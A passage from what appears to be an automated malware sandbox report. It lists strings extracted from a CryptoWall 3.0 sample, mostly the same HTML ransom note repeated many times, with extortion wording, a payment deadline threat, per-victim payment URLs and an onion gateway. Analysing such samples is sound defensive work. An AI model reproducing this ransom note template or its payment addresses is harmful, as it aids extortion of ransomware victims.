href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt250.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html373.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html346.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html50.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html221.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt127.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html122.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt224.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html195.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt169.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html262.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html20.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html269.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.txt281.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt136.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt378.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.txt321.2.dr	String found in binary or memory : Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.
Source: restore_files_gpmus.html310.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html374.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: <a href="http://www.torproject.org/projects/torbrowser.html.en" target="_blank">http://www.torproject.org/projects/torbrowser.html.en</a><br>2. After a successful installa
Source: restore_files_gpmus.html330.2.dr	String found in binary or memory : <html> <style>a { color:green; }.tb { background:white; border-style:solid; border-width:1px; padding:3px; border-color:lime; }.ttl { font-size:13px; color:880000; }</style><body style="background:#33CCFF;"> <center><div style="text-align:left; font-family:Arial; font-size:13px; line-height:20px; margin-top:10px; width:800px; background:#F4F4F4; padding:20px; border-style:solid; border-width:5px; border-color:#BABABA;"><b><font class="ttl">What happened to your files?</b></font><br> <font style="font-size:13px;">All of your files were protected by a strong encryption with RSA-2048 using CryptoWall 3.0.<br> More information about the encryption RSA-2048 can be found here: <a href="http://en.wikipedia.org/wiki/RSA_(cryptosystem)" target="_blank">http://en.wikipedia.org/wiki/RSA_(cryptosystem)</a><br></font><br><b><font class="ttl">What does this mean?</b></font><br><font style="font-size:13px;">This means that the structure and data within your files have been irrevocably changed, you will not be able to work<br> with them, read them or see them, it is the same thing as losing them forever, but with our help, you can restore them.</font><br><br><b><font class="ttl">How did this happen?</b></font> <br> <font style="font-size:13px;"> Especially for you, on our server was generated the secret key pair RSA-2048 - public and private.<br>All your files were encrypted with the public key, which has been transferred to your computer via the Internet.<br> Decrypting of YOUR FILES is only possible with the help of the private key and decrypt program, which is on our SECRET SERVER!!!.</font><br><br><b><font class="ttl">What do I do?</b></font> <br><font style="font-size:13px;">Alas, if you do not take the necessary measures for the specified time then the conditions for obtaining the private key will be changed.<br> If you really need your data, then we suggest you do not waste valuable time searching for other solutions because they do not exist.</font><br><br><div class="tb" style="color:#880000; font-size:13px; border-width:3px;">For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below: <hr><b>1.<a href="http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B" target="_blank">http://aep554w4fm8j.fflroe598qu.com/E722D94C1CAC34B</a></b><br><b>2.<a href="http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B" target="_blank">http://aoei243548ld.keedo93i1lo.com/E722D94C1CAC34B</a></b><br><b>3.<a href="https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B" target="_blank">https://zpr5huq4bgmutfnf.onion.to/E722D94C1CAC34B</a></b><br></div><br><div class="tb" style="font-size:13px; border-color:#880000;">If for some reasons the addresses are not available, follow these steps: <hr>1. Download and install tor-browser: 